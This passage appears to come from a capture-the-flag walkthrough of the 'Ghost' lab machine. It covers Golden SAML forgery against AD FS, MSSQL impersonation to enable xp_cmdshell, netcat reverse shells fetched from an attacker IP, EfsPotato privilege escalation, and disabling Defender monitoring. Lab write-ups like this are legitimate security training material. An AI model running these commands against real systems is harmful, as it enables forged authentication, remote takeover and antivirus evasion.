EDecoNsj6hjMdGsrqzuolZX/GBF1SotrYN+W63MYSiZps6bWpc8WkCsIqMiOaGa1eNLvAlupUNGSBlcXNogdKU0R6AFKM60AN2FFd7n4R5TC76ZHIKGmxUcq9EuYdeqamw0TB4fW0YMW4OZqQyx6Z8m3J7hA2uZfB7jYBl2myMeBzqwQYTsEqxqV3QuT2uOwfAi5nknlWUWRvWJl4Ktjzdv3Ni+8O11M+F5gT1/6E9MfchK0GK2tOM6qI8qrroLMNjBHLv4XKAx6rEJsTjPTwaby8IpYjg6jc7DSJxNT+W9F82wYc7b3nBzmuIPk8LUfQb7QQLJjli+nemOc20fIrHZmTlPAh07OhK44/aRELISKPsR2Vjc/0bNiX8rIDjkvrD/KaJ8yDKdoQYHw8G+hU3dZMNpYseefw5KmI9q+SWRZEYJCPmFOS+DyQAiKxMi+hrmaZUsyeHv96cpo2OkAXNiF3T5dpHSXxLqIHJh3JvnFP9y2ZY+w9ahSR6Rlai+SokV5TLTCY7ah9yP/W1IwGuA4kyb0Tx8sdE0S/5p1A63+VwhuANv2NHqI+YDXCKW4QmwYTAeJuMjW/mY8hewBDw+xAbSaY4RklYL85fMByon9AMe55Jaozk8X8IvcW6+m3V/zkKRG7srLX5R7ii3C4epaZPVC5NjNgpBkpT31X7ZZZIyphQIRNNkAve49oaquxVVcrDNyKjmkkm8XSHHn153z/yK3mInTMwr2FJU3W7L/Kkvprl34Tp5fxC7G/KRJV7/GKIlBLU0BlNZbuDm7sYPpRdzhAkna4+c4r8gb2M5Qjasqit7kuPeCRSxkCgmBhrdvg4PCU6QRueIZ795qjWPKeJOs88c7sdADJiRjQSrcUGCAU59wTG0vB4hhO3D87sbdXCEa74/YXiR7mFgc7upx/JpV+KcCEVPdJQAhpfyVJGmWDJZBvVXoNC2XInsJZJf81Oz+qBxbZo+ZzJxeqxgROdxc+q5Qy6c+CC8Kg3ljMQNdzxpk6AVd0/nbhdcPPmyG6tHZVEtNWoLW5SgdSWf/M0tltJ/yRii0hxFBVQwRgFSmsKZIDzk5+OktW7Rq3VgxS4dj97ejfFbnoEbbvKl9STRPw/vuRbQaQF15ZnwlQ0fvtWuWbJUTiwXeWmp1yQMU/qWMV/LtyGRl4eZuROzBjd+ujf8/Q6YSdAMR/o6ziKBHXrzaF8dH9XizNux0kPdCgtcpWfW+aKEeiWiYDxpOzR8Wmcn+Th0hDD9+P5YeZ85p/NkedO7eRMi38lOIBU2nT3oupJMGnnNj1EUd2z8gMcW/+VekgfN+ku5yxi3b9pvUIiCatHgp6RRb70fdNkyUa6ahxM5zS1dL/joGuoIJe26lpgqpYz1vZa15VKuCRU6v62HtqsOnB5sn6IhR16z3H416uFmXc9k4WRZQ0zrZjdFm+WPAHoWAufzAdZP/pdYv1IsrDoXsIAyAgw3rEzcwKs6XA5K9kihMIZXXEvtU2rsNGevNCjFqNMAS9BeNi9r/XjHDXnFZv6OQpfYJUPiUmumE+DYXZ/AP/MPSDrCkLKVPyip7xDevBN/BEsNEUSTXxm
[-] Encrypted Token Signing Key End
[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
-
From this info we need the key and the cipher read the articles below for details. [!DANGER] Pay attention and UNDERSTAND THE ATTACK
-
doing more reading https://nodauf.dev/p/practical-guide-for-golden-saml/
-
https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
-
Now we get those 2 files into our computer and do the formatting requiered as per the articles instruction.
- DKMkey.bin
- TKSKey.bin
-
After hours FIXING the tool (ask me for my fixed ADFSpoof.py if needed) this is what worked for me:
python ADFSpoof-rek2.py -b TKSKey.bin DKMkey2.bin -s federation.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat 'urn:oasis:names:tc:SAML:2.0:cm:bearer' --nameid 'ghost.htb\administrator' --rpidentifier 'https://core.ghost.htb:8443' --assertions '<Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>administrator</AttributeValue></Attribute>'
[!DANGER]
- Ok this should give you a url encoded SAML file that you need to go to mitmproxy or zaproxy, I ended up in this case using zaproxy because I already had it open since I was trying this attack may ways unssuscesfully so wanted to test some SAML plugins from ZAP, but you can do this with mitmproxy.
- you need to access http://federation.ghost.htb
-
same step but another screenshot of reply
-
ok now we get as administrator to a MSSQL Debug site wher we can send SQL commands
-
now we do the regular methods to switch and run commands as
sa
-
lets check what users we can impersonate
SELECT * FROM OPENQUERY([PRiMARY], 'SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''');
- we do the classic technique to enable xp_cmdshell etc.
- notice I added a curl as a debug test for me that now I can run commands.
EXECUTE ( 'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''show advanced options'',1; reconfigure;EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''curl 10.10.xx.xx''' ) AT "PRIMARY"
- Create test directory
EXECUTE ( 'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''powershell.exe -c mkdir c:/test''' ) AT "PRIMARY"
- Upload nc.exe to the test directory
EXECUTE ( 'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''powershell.exe -c curl 10.10.xx.xx/nc.exe -o c:/test/nc.exe''' ) AT "PRIMARY"
- and now we run it to get revshell
EXECUTE ( 'EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1;reconfigure;EXEC xp_cmdshell ''c:\test\nc.exe 10.10.xx.xx 6667 -e powershell''' ) AT "PRIMARY"
[!SUCCESS]
- Now we are logged into the
corp.ghost.com
domain box - we do the normal enumeration
- After a bit I double check the result of whoami /priv and notice the
SeImpersonatePrivilege
that allows a process to impersonate another user or process. - Lets get the HOT POTATOES! and lets grill that priviledge escalation.
- This one looks like it will do the job, READ IT EfsPotato
- I chose this one because in my enumeration I notice we have .Net compiler to our disposal so just get the .cs file and up load it
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
- ok it compiles!
- lets test it
./EfsPotato.exe curl http://10.10.xx.xx/test
- works!! nice.
- so lets upload nc.exe and get revshell!!
.\EfsPotato.exe 'nc.exe 10.10.xx.xx 6668 -e powershell.exe'
[!IMPORTANT]
- already as system turn off AV so we can upload a stable shell. I used msfvenom by the revshells.com online tool.
Set-MpPreference -DisableRealtimeMonitoring $True
CROSS FOREST ATTACK corp.ghost.htb -> ghost.htb
Enumeration
- With the PoweView module imported, we can run:
Get-DomainTrust